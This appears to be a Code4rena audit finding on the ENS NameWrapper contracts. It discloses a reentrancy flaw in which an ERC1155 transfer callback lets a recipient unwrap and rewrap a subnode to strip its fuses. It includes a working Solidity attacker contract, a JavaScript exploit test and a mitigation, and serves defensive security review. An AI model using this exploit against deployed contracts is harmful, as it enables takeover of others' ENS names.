Users can skirt fuses on subnodes

[code423n4]

Lines of code

https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L539
https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L504
https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/NameWrapper.sol#L524
https://github.com/code-423n4/2022-07-ens/blob/ff6e59b9415d0ead7daf31c2ed06e86d9061ae22/contracts/wrapper/ERC1155Fuse.sol#L298

Vulnerability details

Impact

If users are granted subnode ownership through setSubnodeRecord or setSubnodeOwner in NameWrapper.sol,
and that node is owned by the NameWrapper contract in the ENS registry (and the unwrap fuse is not set), then attackers can reset flags and do whatever they want with the subnode records.

I marked this as medium because users can recover from this if they noticed, and very specific circumstances have to be set, but the damage done can be large. The circumstances of this bug also don't seem unlikely.
This mainly happens because _transferAndBurnFuses uses the _transfer function in the ERC1155Fuse.sol contract and that performs a callback through the ERC1155 _doSafeTransferAcceptanceCheck call.

Proof of Concept

I created a simple attacker contract and tested with a javascript test inside of the already existing test suite provided in the code:

Attacker.sol:

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./INameWrapper.sol";

import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol";

contract Attacker is ERC165, IERC1155Receiver
{
    INameWrapper public immutable nameWrapper;
    bytes32 private parentNode;
    bytes32 private labelHash;
    address private newOwner;

    constructor(INameWrapper _nameWrapper) {
        nameWrapper = _nameWrapper;
    }

    function setExpected(bytes32 _parentNode, bytes32 _labelHash, address _newOwner) public {
        parentNode = _parentNode;
        labelHash = _labelHash;
        newOwner = _newOwner;
    }

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        nameWrapper.unwrap(parentNode, labelHash, newOwner);
        return this.onERC1155Received.selector;
    }

    function onERC1155BatchReceived(
        address,
        address,
        uint256[] calldata,
        uint256[] calldata,
        bytes calldata
    ) external pure returns (bytes4) {
        return this.onERC1155BatchReceived.selector;
    }
}

Javascript test to show this all works:

describe('setSubnodeOwner()', async () => {
    const label = 'ownerandwrap'
    const tokenId = labelhash(label)
    const wrappedTokenId = namehash(label + '.eth')

    before(async () => {
      await registerSetupAndWrapName(label, account, CANNOT_UNWRAP, 0)
    })

    it('Attacker can receive subnode, and skirt flags', async () => {
      // subnode data here
      let subLable = 'sub'
      let subHash = labelhash(subLable)
      let subFullName = `${subLable}.${label}.eth`
      let subNodeHash = namehash(subFullName)

      // launch our attacker contract... assume account 2 is attacker
      // set up data for attack
      let attacker = signers[1]
      const AttackerContract = await deploy('Attacker', NameWrapper.address)
      const AttackerContract2 = AttackerContract.connect(attacker)
      await AttackerContract2.setExpected(wrappedTokenId, subHash, attacker.address)

      // user 1 makes their subdomain
      await EnsRegistry.setApprovalForAll(NameWrapper.address, true)
      await NameWrapper.setSubnodeOwner(
        wrappedTokenId,
        subLable,
        account,
        CAN_DO_EVERYTHING,
        0
      )

      // user 1 now sells to user 2 with fuses set, user 2 provides attack address to receieve
      await NameWrapper.setSubnodeOwner(
        wrappedTokenId,
        subLable,
        AttackerContract.address,
        PARENT_CANNOT_CONTROL | CANNOT_UNWRAP | CANNOT_CREATE_SUBDOMAIN,
        MAX_EXPIRY
      )
      
      // after attack, attacker will own subdomain on ens
      expect(await EnsRegistry.owner(subNodeHash)).to.equal(
        attacker.address
      )

      // when attacker contract has unwrapped on recv, now we rewrap.
      await EnsRegistry2.setApprovalForAll(NameWrapper.address, true)
      await NameWrapper2.wrap(encodeName(subFullName), attacker.address, EMPTY_ADDRESS)

      // no fuses expected are present because of attack
      let [fuses, expiry] = await NameWrapper.getFuses(subNodeHash)
      expect(fuses).to.equal(0)
      expect(expiry).to.equal(0)
    })
})

Tools Used

javascript, solidity, and chai tests inside repo

Recommended Mitigation Steps

To make sure users can't exploit this, I would recommend making sure all state changes in the contract happen before we call any callbacks.

For example, a possible solution here is creating a special _transfer function in the ERC1155Fuse.sol that does a last _setData call with the new fuses before calling _doSafeTransferAcceptanceCheck, so passing in fuses and data into the function to set before the user gets any access.

Any solution that makes sure that callback happens after the new data is set is preferred and will work.

[dmvt]

duplicate of #84